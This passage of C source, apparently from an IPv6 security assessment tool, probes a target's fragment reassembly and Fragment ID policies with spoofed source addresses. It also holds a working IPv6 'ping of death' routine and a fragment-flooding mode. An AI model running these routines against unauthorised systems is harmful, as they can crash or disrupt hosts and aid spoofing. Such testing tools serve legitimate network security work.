if(idata.dstaddr_f && IN6_IS_ADDR_LINKLOCAL(&(idata.dstaddr))){
puts("Must specify a network interface for link-local destinations");
exit(EXIT_FAILURE);
}
}
if(load_dst_and_pcap(&idata, LOAD_SRC_NXT_HOP) == FAILURE){
puts("Error while learning Souce Address and Next Hop");
exit(EXIT_FAILURE);
}
release_privileges();
if((idata.ip6_local_flag && idata.ip6_global_flag) && !idata.srcaddr_f)
localaddr_f=1;
if(!sleep_f)
nsleep=QUERY_TIMEOUT;
idata.max_packet_size = MAX_IPV6_PAYLOAD + MIN_IPV6_HLEN;
if(idata.verbose_f){
print_attack_info(&idata);
}
if(!idata.dstaddr_f){
puts("Error: Nothing to send! (Destination Address left unspecified)");
exit(EXIT_FAILURE);
}
if(!floodf_f)
nfrags=1;
if(!forder_f)
forder= MIDDLE_FRAGMENT;
/* Assess the Fragment Reassembly policy */
if(fragp_f){
puts("Identifying fragment reassembly policy of the target node....");
/*
Set filter for receiving Neighbor Solicitations, ICMPv6 Echo Responses, and ICMPv6 Time Exceeded
*/
if(pcap_compile(idata.pfd, &pcap_filter, PCAP_ICMPV6_NSECHOEXCEEDED_FILTER, PCAP_OPT, PCAP_NETMASK_UNKNOWN) == -1){
printf("pcap_compile(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
if(pcap_setfilter(idata.pfd, &pcap_filter) == -1){
printf("pcap_setfilter(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
pcap_freecode(&pcap_filter);
/* Initialize the table of results for the different tests */
for(i=0; i<5; i++)
test[i]= TIMED_OUT;
/*
These two variables select the fragment "overlap" size for the tests, and the minimum fragment size.
They are currently hardcoded, but will be configurable in future revisions of the tool.
*/
overlap=8;
minfragsize= 8*10;
/*
Since the current version of the tool does not reassemble response packets, we need to prevent
response packets from employing fragmentation. The maximum-sized packets that we send is composed
of a 4*minfragsize payload plus IPv6 and ICMPv6 headers -- hence the check bellow.
*/
if(minfragsize > ((idata.mtu - sizeof(struct ip6_hdr) - sizeof(struct icmp6_hdr))/4)){
puts("Error: minimum fragment size is too large");
exit(EXIT_FAILURE);
}
if(overlap < 8 || (overlap%8) != 0 || overlap >= minfragsize){
puts("Error: Incorrect 'overlap' value");
exit(EXIT_FAILURE);
}
FD_ZERO(&sset);
FD_SET(idata.fd, &sset);
start= time(NULL);
/*
This "schedules" the sending of probes for different types of packets. At most two probes
will be sent for each packet type. Probe #1 will be sent now, and resent after QUERY_TIMEOUT/2
seconds. Probe #2 will be sent in 1 second, and resent after QUERY_TIMEOUT/2 seconds... etc.
This means that starting now, we send one probe for each packet type, one per second (to avoid
congesting the network). And we resend the probes in after QUERY_TIMEOUT/2 seconds (hence we
have QUERY_TIMEOUT/2 to wait for the responses of such probes).
*/
lastfrag1= start - QUERY_TIMEOUT/2;
lastfrag2= start - QUERY_TIMEOUT/2 + 1;
lastfrag3= start - QUERY_TIMEOUT/2 + 2;
lastfrag4= start - QUERY_TIMEOUT/2 + 3;
lastfrag5= start - QUERY_TIMEOUT/2 + 4;
responses=0;
while(1){
curtime=time(NULL);
/*
If we have already the timeout value, or already have results for each of the five tests,
exit the loop
*/
if((curtime - start) >= QUERY_TIMEOUT || responses >= 5){
break;
}
if((curtime - lastfrag1) >= QUERY_TIMEOUT/2 && (test[0]== TIMED_OUT || test[0]==TIME_EXCEEDED)){
if(idata.verbose_f)
puts("Sending Fragments for Test #1....");
id= random();
if(send_fragment2(&idata, sizeof(struct icmp6_hdr)+minfragsize*2-overlap, id, 0, minfragsize, \
FIRST_FRAGMENT, block1) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize-overlap, minfragsize, \
LAST_FRAGMENT, block6) == -1){
}
lastfrag1=curtime;
continue;
}
if((curtime - lastfrag2) >= QUERY_TIMEOUT/2 && (test[1]== TIMED_OUT || test[1]==TIME_EXCEEDED)){
if(idata.verbose_f)
puts("Sending Fragments for Test #2....");
id= random();
if(send_fragment2(&idata, sizeof(struct icmp6_hdr)+minfragsize * 3-overlap, id, 0, minfragsize, \
FIRST_FRAGMENT, block2) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize * 2-overlap, minfragsize, \
LAST_FRAGMENT, block6) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize-overlap, minfragsize, \
MIDDLE_FRAGMENT, block7) == -1){
}
lastfrag2=curtime;
continue;
}
if((curtime - lastfrag3) >= QUERY_TIMEOUT/2 && (test[2]== TIMED_OUT || test[2]==TIME_EXCEEDED)){
if(idata.verbose_f)
puts("Sending Fragments for Test #3....");
id= random();
if(send_fragment2(&idata, sizeof(struct icmp6_hdr)+minfragsize * 3-overlap, id, 0, minfragsize, \
FIRST_FRAGMENT, block3) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize * 2-overlap, minfragsize, \
LAST_FRAGMENT, block6) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize, minfragsize, MIDDLE_FRAGMENT, \
block7) == -1){
}
lastfrag3=curtime;
continue;
}
if((curtime - lastfrag4) >= QUERY_TIMEOUT/2 && (test[3]== TIMED_OUT || test[3]==TIME_EXCEEDED)){
if(idata.verbose_f)
puts("Sending Fragments for Test #4....");
id= random();
if(send_fragment2(&idata, sizeof(struct icmp6_hdr)+minfragsize *4, id, 0, minfragsize, FIRST_FRAGMENT, \
block4) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize * 2, minfragsize, MIDDLE_FRAGMENT, \
block6) == -1){
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize, minfragsize *3, LAST_FRAGMENT, \
block7) == -1){
}
lastfrag4=curtime;
continue;
}
if((curtime - lastfrag5) >= QUERY_TIMEOUT/2 && (test[4]== TIMED_OUT || test[4]==TIME_EXCEEDED)){
if(idata.verbose_f)
puts("Sending Fragments for Test #5....");
id= random();
if(send_fragment2(&idata, sizeof(struct icmp6_hdr)+minfragsize * 4 - overlap, id, 0, minfragsize, \
FIRST_FRAGMENT, block5) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize * 2, minfragsize, MIDDLE_FRAGMENT, \
block6) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize * 3 - overlap, minfragsize, \
LAST_FRAGMENT, block7) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
if(send_fragment2(&idata, 0, id, sizeof(struct icmp6_hdr)+minfragsize, minfragsize, MIDDLE_FRAGMENT, \
block8) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
lastfrag5=curtime;
}
rset= sset;
#if !defined(sun) && !defined(__sun) && !defined(__linux__)
timeout.tv_usec=0;
timeout.tv_sec= 1;
#else
timeout.tv_usec=10000;
timeout.tv_sec= 0;
#endif
if((sel=select(idata.fd+1, &rset, NULL, NULL, &timeout)) == -1){
if(errno == EINTR){
continue;
}
else{
puts("Error in select()");
exit(EXIT_FAILURE);
}
}
#if defined(sun) || defined(__sun) || defined(__linux__)
if(TRUE){
#else
if(sel && FD_ISSET(idata.fd, &rset)){
#endif
/* Read a packet (Echo Reply, ICMPv6 Error, or Neighbor Solicitation) */
if((r=pcap_next_ex(idata.pfd, &pkthdr, &pktdata)) == -1){
printf("pcap_next_ex(): %s", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
else if(r == 1 && pktdata != NULL){
pkt_ether = (struct ether_header *) pktdata;
pkt_ipv6 = (struct ip6_hdr *)((char *) pkt_ether + idata.linkhsize);
pkt_icmp6 = (struct icmp6_hdr *) ((char *) pkt_ipv6 + sizeof(struct ip6_hdr));
pkt_ns= (struct nd_neighbor_solicit *) pkt_icmp6;
pkt_end = (unsigned char *) pktdata + pkthdr->caplen;
if( (pkt_end - pktdata) < (idata.linkhsize + MIN_IPV6_HLEN))
continue;
if(pkt_ipv6->ip6_nxt == IPPROTO_ICMPV6){
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && pkt_icmp6->icmp6_type == ND_NEIGHBOR_SOLICIT){
if( (pkt_end - (unsigned char *) pkt_ns) < sizeof(struct nd_neighbor_solicit))
continue;
/*
If the addresses that we're using are not actually configured on the local system
(i.e., they are "spoofed", we must check whether it is a Neighbor Solicitation for
one of our addresses, and respond with a Neighbor Advertisement. Otherwise, the kernel
will take care of that.
*/
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && !localaddr_f && \
is_eq_in6_addr(&(pkt_ns->nd_ns_target), &idata.srcaddr)){
if(send_neighbor_advert(&idata, idata.pfd, pktdata) == -1){
puts("Error sending Neighbor Advertisement");
exit(EXIT_FAILURE);
}
}
}
else if( (pkt_icmp6->icmp6_type == ICMP6_ECHO_REPLY) || (pkt_icmp6->icmp6_type == ICMP6_TIME_EXCEEDED)){
if( (pkt_end - (unsigned char *) pkt_icmp6) < sizeof(struct icmp6_hdr))
continue;
switch(pkt_icmp6->icmp6_type){
case ICMP6_ECHO_REPLY:
process_icmp6_echo(&idata, pkthdr, pktdata, test, &responses);
break;
case ICMP6_TIME_EXCEEDED:
process_icmp6_timed(&idata, pkthdr, pktdata, test);
break;
}
}
}
}
}
}
for(i=0;i<5;i++){
printf("Test #%u: ", (i+1));
switch(test[i]){
case FIRST_COPY:
puts("Target preferred first copy of overlapping data");
break;
case LAST_COPY:
puts("Target preferred last copy of overlapping data");
break;
case TIME_EXCEEDED:
puts("Received ICMPv6 Time Exceeded error message (fragments discarded)");
break;
case TIMED_OUT:
puts("Timed out (fragments discarded without notification)");
break;
case UNKNOWN_COPY:
puts("Unknown pattern in response (shouldn't happen!)");
break;
}
}
exit(EXIT_SUCCESS);
}
/* Assess the Fragment ID generation policy */
if(fragidp_f){
puts("Identifying the 'Fragment ID' generation policy of the target node....");
/*
Set filter for receiving Neighbor Solicitations, and fragmented ICMPv6 Echo Responses
*/
if(pcap_compile(idata.pfd, &pcap_filter, PCAP_ICMPV6NSFRAG_FILTER, PCAP_OPT, PCAP_NETMASK_UNKNOWN) == -1){
printf("pcap_compile(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
if(pcap_setfilter(idata.pfd, &pcap_filter) == -1){
printf("pcap_setfilter(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
pcap_freecode(&pcap_filter);
FD_ZERO(&sset);
FD_SET(idata.fd, &sset);
if(gettimeofday(&startt, NULL) == -1){
if(idata.verbose_f)
perror("frag6");
exit(EXIT_FAILURE);
}
lastfrag1t.tv_sec=0;
lastfrag1t.tv_usec=0;
ntest1=0;
ntest2=0;
icmp6_sig= random();
testtype= FIXED_ORIGIN;
if(idata.srcprefix_f){
randprefix=idata.srcaddr;
randpreflen=idata.srcpreflen;
}
else{
randprefix= idata.srcaddr;
randpreflen=64;
sanitize_ipv6_prefix(&randprefix, randpreflen);
}
while(1){
if(gettimeofday(&curtimet, NULL) == -1){
if(idata.verbose_f)
perror("scan6");
exit(EXIT_FAILURE);
}
/*
If we were doing tests from a single origin, and we have reached the assessment timeout
or already have enough samples, we must now sample from multiple origins.
*/
if( testtype==FIXED_ORIGIN && (is_time_elapsed(&curtimet, &startt, FID_ASSESS_TIMEOUT * 1000000) || ntest1 >= NSAMPLES)){
testtype= MULTI_ORIGIN;
addr_sig= random();
addr_key= random();
startt= curtimet;
continue;
}
else if( testtype==MULTI_ORIGIN && (is_time_elapsed(&curtimet, &startt, FID_ASSESS_TIMEOUT * 1000000) || ntest2 >= NSAMPLES)){
break;
}
/*
lastfrag1 contains the time the last time we sent probe packets. Probes are sent every
FID_ASSESS_DELTA uses to avoid packet reordering.
XXX: Eventually we should infer reordering in the sample data and order the samples if
necessary.
*/
if(is_time_elapsed(&curtimet, &lastfrag1t, FID_ASSESS_DELTA)){
if(testtype == FIXED_ORIGIN){
if(send_fid_probe(&idata) == -1){
puts("Error while sending packet");
exit(EXIT_FAILURE);
}
}
else{
randomize_ipv6_addr(&(idata.srcaddr), &randprefix, randpreflen);
/*
* Two words of the Source IPv6 Address are specially encoded such that we only respond
* to Neighbor Solicitations that target those addresses, and accept ICMPv6 Echo Replies
* only if they are destined to those addresses
*/
idata.srcaddr.s6_addr32[2]= htonl((ntohl(idata.srcaddr.s6_addr32[2]) & 0xffff0000) | addr_sig);
idata.srcaddr.s6_addr32[3]= htonl((ntohl(idata.srcaddr.s6_addr32[3]) & 0xffff0000) | \
((uint16_t)(ntohl(idata.srcaddr.s6_addr32[3])>>16) ^ addr_key));
/*
* XXX This trick is innefective with OpenBSD. Hence we don't try to prevent the
* first-fragment of the response packet from being dropped.
if(send_neighbor_solicit(&idata) == -1){
puts("Error while sending Neighbor Solicitation");
exit(EXIT_FAILURE);
}
*/
if(send_fid_probe(&idata) == -1){
puts("Error while sending packet");
exit(EXIT_FAILURE);
}
}
lastfrag1t=curtimet;
continue;
}
rset= sset;
#if !defined(sun) && !defined(__sun) && !defined(__linux__)
timeout.tv_usec=0;
timeout.tv_sec= 1;
#else
timeout.tv_usec=10000;
timeout.tv_sec= 0;
#endif
if((sel=select(idata.fd+1, &rset, NULL, NULL, &timeout)) == -1){
if(errno == EINTR){
continue;
}
else{
puts("Error in select()");
exit(EXIT_FAILURE);
}
}
#if defined(sun) || defined(__sun) || defined(__linux__)
if(TRUE){
#else
if(sel && FD_ISSET(idata.fd, &rset)){
#endif
/* Read a packet (Echo Reply, or Neighbor Solicitation) */
if((r=pcap_next_ex(idata.pfd, &pkthdr, &pktdata)) == -1){
printf("pcap_next_ex(): %s", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
else if(r == 1 && pktdata != NULL){
pkt_ether = (struct ether_header *) pktdata;
pkt_ipv6 = (struct ip6_hdr *)((char *) pkt_ether + idata.linkhsize);
pkt_icmp6 = (struct icmp6_hdr *) ((char *) pkt_ipv6 + sizeof(struct ip6_hdr));
pkt_end = (unsigned char *) pktdata + pkthdr->caplen;
if( (pkt_end - pktdata) < (idata.linkhsize + MIN_IPV6_HLEN))
continue;
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && \
pkt_ipv6->ip6_nxt == IPPROTO_ICMPV6 && pkt_icmp6->icmp6_type == ND_NEIGHBOR_SOLICIT){
pkt_ns= (struct nd_neighbor_solicit *) pkt_icmp6;
if( (pkt_end - (unsigned char *) pkt_ns) < sizeof(struct nd_neighbor_solicit))
continue;
/*
If the addresses that we're using are not actually configured on the local system
(i.e., they are "spoofed", we must check whether it is a Neighbor Solicitation for
one of our addresses, and respond with a Neighbor Advertisement. Otherwise, the kernel
will take care of that.
*/
if(testtype==FIXED_ORIGIN){
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && \
!localaddr_f && is_eq_in6_addr(&(pkt_ns->nd_ns_target), &(idata.srcaddr))){
if(send_neighbor_advert(&idata, idata.pfd, pktdata) == -1){
puts("Error sending Neighbor Advertisement");
exit(EXIT_FAILURE);
}
}
}
else if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK)){
if( (ntohl(pkt_ns->nd_ns_target.s6_addr32[2]) & 0x0000ffff) != addr_sig || \
(ntohl(pkt_ns->nd_ns_target.s6_addr32[3]) & 0x0000ffff) != ( (ntohl(pkt_ns->nd_ns_target.s6_addr32[3])>>16) ^ addr_key)){
continue;
}
if(send_neighbor_advert(&idata, idata.pfd, pktdata) == -1){
puts("Error sending Neighbor Advertisement");
exit(EXIT_FAILURE);
}
}
}
else if(pkt_ipv6->ip6_nxt == IPPROTO_FRAGMENT){
if( (pkt_end - (unsigned char *) pkt_ipv6) < \
(sizeof(struct ip6_hdr) + sizeof(struct ip6_frag) + sizeof(struct icmp6_hdr) + sizeof(uint32_t)))
continue;
pkt_fh= (struct ip6_frag *) ( (unsigned char *)pkt_ipv6 + sizeof(struct ip6_hdr));
if(pkt_fh->ip6f_nxt != IPPROTO_ICMPV6)
continue;
/* XXX We only sample non-first fragments (see below) */
if(!(pkt_fh->ip6f_offlg & IP6F_OFF_MASK))
continue;
/*
* XXX These checks were removed, since when assessing some implementations on a local
* network, we never get the first fragment because it is discarded when it triggers ND.
*/
if(!(pkt_fh->ip6f_offlg & IP6F_OFF_MASK)){
pkt_icmp6= (struct icmp6_hdr *) ((unsigned char *)pkt_fh + sizeof(struct ip6_frag));
if(pkt_icmp6->icmp6_type != ICMP6_ECHO_REPLY)
continue;
if(ntohs(pkt_icmp6->icmp6_data16[0]) != getpid() )
continue;
}
if(testtype==FIXED_ORIGIN){
if(!is_eq_in6_addr(&(pkt_ipv6->ip6_dst), &(idata.srcaddr))){
continue;
}
/* XXX Not used when sampling non-first fragments */
if(!(pkt_fh->ip6f_offlg & IP6F_OFF_MASK)){
if( *(uint32_t *)((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr)) != icmp6_sig){
continue;
}
}
if(ntest1 >= NSAMPLES)
continue;
test1[ntest1]= ntohl(pkt_fh->ip6f_ident);
ntest1++;
}
else{
if( (ntohl(pkt_ipv6->ip6_dst.s6_addr32[2]) & 0x0000ffff) != addr_sig || \
(ntohl(pkt_ipv6->ip6_dst.s6_addr32[3]) & 0x0000ffff) != ( (ntohl(pkt_ipv6->ip6_dst.s6_addr32[3])>>16) ^ addr_key)){
continue;
}
/* XXX Not used when sampling non-first fragments */
if(!(pkt_fh->ip6f_offlg & IP6F_OFF_MASK)){
if( *(uint32_t *)((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr)) != icmp6_sig){
continue;
}
}
if(ntest2 >= NSAMPLES)
continue;
test2[ntest2]= ntohl(pkt_fh->ip6f_ident);
ntest2++;
}
}
}
}
}
if(idata.verbose_f > 1){
printf("Sampled %u Fragment Identifications from single-origin probes\n", ntest1);
for(i=0; i<ntest1; i++)
printf("#%02u: %08x\n", (i+1), test1[i]);
printf("\nSampled %u Fragment Identifications from multi-origin probes\n", ntest2);
for(i=0; i<ntest2; i++)
printf("#%02u: %08x\n", (i+1), test2[i]);
puts("");
}
if(ntest1 < 10 || ntest2 < 10){
puts("Error: Didn't receive enough response packets");
exit(EXIT_FAILURE);
}
if(predict_frag_id(test1, ntest1, test2, ntest2) == -1){
puts("Error in predict_frag_id()");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
/* Perform an IPv6-version of the "Ping of Death" attack */
if(pod_f){
puts("Performing a 'ping of death' attack against the target node....");
/*
Set filter for receiving Neighbor Solicitations, ICMPv6 Echo Responses, and ICMPv6 Time Exceeded
*/
if(pcap_compile(idata.pfd, &pcap_filter, PCAP_ICMPV6_NSECHOEXCEEDED_FILTER, PCAP_OPT, PCAP_NETMASK_UNKNOWN) == -1){
printf("pcap_compile(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
if(pcap_setfilter(idata.pfd, &pcap_filter) == -1){
printf("pcap_setfilter(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
pcap_freecode(&pcap_filter);
maxsizedchunk= idata.mtu - sizeof(struct ip6_hdr) - sizeof(struct ip6_frag);
id=random();
foffset=0;
i=0;
/* We send maximum-sized fragments to cover the entire offset space */
while((foffset+maxsizedchunk) < MAX_FRAG_OFFSET){
if(send_fragment(&idata, id, foffset, maxsizedchunk, foffset?MIDDLE_FRAGMENT:FIRST_FRAGMENT, NO_TIMESTAMP) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
foffset+= maxsizedchunk;
i++;
/* Pause for 1 second every 8 packets */
if(!(i%8))
sleep(1);
}
/*
We send another fragment to close the gap with the last fragment and a fragment with
offset 0xfff8
*/
if(foffset != MAX_FRAG_OFFSET){
if(send_fragment(&idata, id, foffset, (idata.mtu-maxsizedchunk)/8, MIDDLE_FRAGMENT, NO_TIMESTAMP) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
foffset+=(idata.mtu-maxsizedchunk)/8;
}
/* Send a last fragment, at the right edge, with the maximum possible size */
if(send_fragment(&idata, id, foffset, idata.mtu-sizeof(struct ip6_hdr)-sizeof(struct ip6_frag), \
LAST_FRAGMENT, NO_TIMESTAMP) == -1){
puts("Error when writing fragment");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
/* Send fragments to a target destination */
if(idata.dstaddr_f){
/*
Set filter for receiving Neighbor Solicitations, ICMPv6 Echo Responses, and ICMPv6 Time Exceeded
*/
if(pcap_compile(idata.pfd, &pcap_filter, PCAP_ICMPV6_NSECHOEXCEEDED_FILTER, PCAP_OPT, PCAP_NETMASK_UNKNOWN) == -1){
printf("pcap_compile(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
if(pcap_setfilter(idata.pfd, &pcap_filter) == -1){
printf("pcap_setfilter(): %s\n", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
pcap_freecode(&pcap_filter);
FD_ZERO(&sset);
FD_SET(idata.fd, &sset);
lastfrag=0;
start= time(NULL);
while(1){
curtime=time(NULL);
if(!loop_f && ((curtime - start) >= QUERY_TIMEOUT || (!resp_f && lastfrag != 0) || (resp_f && gotresp_f))){
break;
}
if((curtime - lastfrag) >= nsleep){
puts("Sending Fragment(s)....");
frags=0;
if(!foffset_f){
foffset= random();
}
if(forder != LAST_FRAGMENT){
foffset= (foffset >> 3) << 3;
}
while(frags < nfrags){
if(send_fragment(&idata, fid_f?fid:random(), foffset, fsize_f?fsize:( ((MIN_FRAG_SIZE+(random()%400))>>3)<<3), \
forder, tstamp_f) == -1){
puts("Error sending packet");
exit(EXIT_FAILURE);
}
frags++;
}
lastfrag=curtime;
continue;
}
rset= sset;
#if defined(sun) || defined(__sun) || defined(__linux__)
timeout.tv_usec=10000;
timeout.tv_sec= 0;
#else
timeout.tv_usec=0;
timeout.tv_sec= (lastfrag+nsleep)-curtime;
#endif
if((sel=select(idata.fd+1, &rset, NULL, NULL, &timeout)) == -1){
if(errno == EINTR){
continue;
}
else{
puts("Error in select()");
exit(EXIT_FAILURE);
}
}
#if defined(sun) || defined(__sun) || defined(__linux__)
if(TRUE){
#else
if(sel && FD_ISSET(idata.fd, &rset)){
#endif
/* Read a packet (Echo Reply, ICMPv6 Error, or Neighbor Solicitation) */
if((r=pcap_next_ex(idata.pfd, &pkthdr, &pktdata)) == -1){
printf("pcap_next_ex(): %s", pcap_geterr(idata.pfd));
exit(EXIT_FAILURE);
}
else if(r == 1 && pktdata != NULL){
pkt_ether = (struct ether_header *) pktdata;
pkt_ipv6 = (struct ip6_hdr *)((char *) pkt_ether + idata.linkhsize);
pkt_icmp6 = (struct icmp6_hdr *) ((char *) pkt_ipv6 + sizeof(struct ip6_hdr));
pkt_ns= (struct nd_neighbor_solicit *) pkt_icmp6;
pkt_end = (unsigned char *) pktdata + pkthdr->caplen;
if( (pkt_end - pktdata) < (idata.linkhsize + MIN_IPV6_HLEN))
continue;
if(pkt_ipv6->ip6_nxt == IPPROTO_ICMPV6){
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && pkt_icmp6->icmp6_type == ND_NEIGHBOR_SOLICIT){
if( (pkt_end - (unsigned char *) pkt_ns) < sizeof(struct nd_neighbor_solicit))
continue;
/*
If the addresses that we're using are not actually configured on the local system
(i.e., they are "spoofed", we must check whether it is a Neighbor Solicitation for
one of our addresses, and respond with a Neighbor Advertisement. Otherwise, the kernel
will take care of that.
*/
if(idata.type == DLT_EN10MB && !(idata.flags & IFACE_LOOPBACK) && !localaddr_f && \
is_eq_in6_addr(&(pkt_ns->nd_ns_target), &(idata.srcaddr))){
if(send_neighbor_advert(&idata, idata.pfd, pktdata) == -1){
puts("Error sending Neighbor Advertisement");
exit(EXIT_FAILURE);
}
}
}
else if( (pkt_icmp6->icmp6_type == ICMP6_ECHO_REPLY) || (pkt_icmp6->icmp6_type == ICMP6_TIME_EXCEEDED)){
if( (pkt_end - (unsigned char *) pkt_icmp6) < sizeof(struct icmp6_hdr)){
continue;
}
/*
Do a preliminar validation check on the ICMPv6 packet (packet size, Source Address,
and Destination Address).
*/
if(!valid_icmp6_response(&idata, pkthdr, pktdata)){
continue;
}
switch(pkt_icmp6->icmp6_type){
case ICMP6_ECHO_REPLY:
gotresp_f= TRUE;
if(resp_f)
print_icmp6_echo(&idata, pkthdr, pktdata);
break;
case ICMP6_TIME_EXCEEDED:
gotresp_f= TRUE;
if(resp_f)
print_icmp6_timed(&idata, pkthdr, pktdata);
break;
}
}
}
}
}
}
exit(EXIT_SUCCESS);
}
exit(EXIT_SUCCESS);
}
/*
* Function: print_icmp6_echo()
*
* Print information about a received ICMPv6 Echo Response packet
*/
void print_icmp6_echo(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata){
struct ip6_hdr *pkt_ipv6;
time_t rtt;
pkt_ipv6 = (struct ip6_hdr *) (pktdata + idata->linkhsize);
if(inet_ntop(AF_INET6, &(pkt_ipv6->ip6_src), pv6addr, sizeof(pv6addr)) == NULL){
puts("inet_ntop(): Error converting IPv6 Source Address to presentation format");
exit(EXIT_FAILURE);
}
rtt= time(NULL) - *(time_t *) ( (unsigned char *) pkt_ipv6 + (sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)));
printf("ICMPv6 echo Reply from %s", pv6addr);
if(rtt > 0)
printf(" (RTT: %u second%s)\n", (uint32_t)rtt, (rtt>1)?"s":"");
else
puts(" (RTT: < 1 second)");
}
/*
* Function: print_icmp6_timed()
*
* Print information about a received ICMPv6 Time Exceeded error message
*/
void print_icmp6_timed(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata){
struct ip6_hdr *pkt_ipv6, *pkt_ipv6_ipv6;
struct icmp6_hdr *pkt_icmp6, *pkt_icmp6_icmp6;
struct ip6_ext *pkt_ext;
struct ip6_frag *pkt_fh_fh;
uint8_t pkt_prev_nh;
time_t rtt;
pkt_ipv6 = (struct ip6_hdr *) (pktdata + idata->linkhsize);
pkt_icmp6= (struct icmp6_hdr *) ((unsigned char *) pkt_ipv6 + sizeof(struct ip6_hdr));
pkt_ipv6_ipv6= (struct ip6_hdr *) ((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr));
pkt_fh_fh= NULL;
pkt_ext= (struct ip6_ext *) ((unsigned char *)pkt_ipv6_ipv6 + sizeof(struct ip6_hdr));
pkt_prev_nh= (pkt_ipv6_ipv6->ip6_nxt);
while(pkt_prev_nh != IPPROTO_ICMPV6 && \
( (unsigned char *)pkt_ext + (pkt_ext->ip6e_len * 8 + 1)) < pkt_end){
if(pkt_prev_nh == IPPROTO_FRAGMENT)
pkt_fh_fh= (struct ip6_frag *) pkt_ext;
pkt_prev_nh= pkt_ext->ip6e_nxt;
pkt_ext= (struct ip6_ext *) ( (unsigned char *)pkt_ext + ((pkt_ext->ip6e_len + 1) * 8));
}
if(pkt_prev_nh == IPPROTO_ICMPV6){
pkt_icmp6_icmp6= (struct icmp6_hdr *) pkt_ext;
if( ((unsigned char *) pkt_icmp6_icmp6 + (sizeof(struct icmp6_hdr)+ sizeof(struct ip6_hdr)+ \
sizeof(struct ip6_frag)+sizeof(struct icmp6_hdr))) > pkt_end)
return;
}
else{
return;
}
if(pkt_fh_fh == NULL)
return;
/*
* We can only check the embedded ICMPv6 header if the embedded fragment is the first fragment of
* a packet
*/
if(ntohs(pkt_fh_fh->ip6f_offlg & IP6F_OFF_MASK) == 0){
if(pkt_icmp6_icmp6->icmp6_type != ICMP6_ECHO_REQUEST){
return;
}
if(pkt_icmp6_icmp6->icmp6_data16[0] != htons(getpid())){
return;
}
}
else{
return;
}
if(inet_ntop(AF_INET6, &(pkt_ipv6->ip6_src), pv6addr, sizeof(pv6addr)) == NULL){
puts("inet_ntop(): Error converting IPv6 Source Address to presentation format");
exit(EXIT_FAILURE);
}
if(tstamp_f){
pkt_ptr= ((unsigned char *) pkt_icmp6_icmp6+ sizeof(struct icmp6_hdr));
/* Verify our "checksum" */
if(*(uint32_t *)(pkt_ptr+sizeof(time_t)) != ((*(uint32_t *)pkt_ptr) ^ 0xabcdabcd)){
return;
}
rtt= time(NULL) - *(time_t *) pkt_ptr;
printf("Response from %s: ICMPv6 Time Exceeded error message (Reassembly timeout: %lu seconds)\n", pv6addr, \
(LUI) rtt);
}
else
printf("Response from %s: ICMPv6 Time Exceeded error message\n", pv6addr);
}
/*
* Function: process_icmp6_echoinfo()
*
* Process ICMPv6 echo reply messages received in response to our probe packets that investigate
* the fragment reassembly policy of a target
*/
void process_icmp6_echo(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata, unsigned char *test, unsigned int *responses){
struct ip6_hdr *pkt_ipv6;
struct icmp6_hdr *pkt_icmp6;
pkt_ipv6 = (struct ip6_hdr *) (pktdata + idata->linkhsize);
pkt_icmp6= (struct icmp6_hdr *) ((unsigned char *) pkt_ipv6 + sizeof(struct ip6_hdr));
if(test_frag_pattern( ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block1)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + \
sizeof(struct icmp6_hdr)+minfragsize*2-overlap)){
return;
}
if(test_frag_pattern( (unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr) + minfragsize-overlap), \
overlap, block1)){
test[0]= FIRST_COPY;
}
else if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize-overlap), \
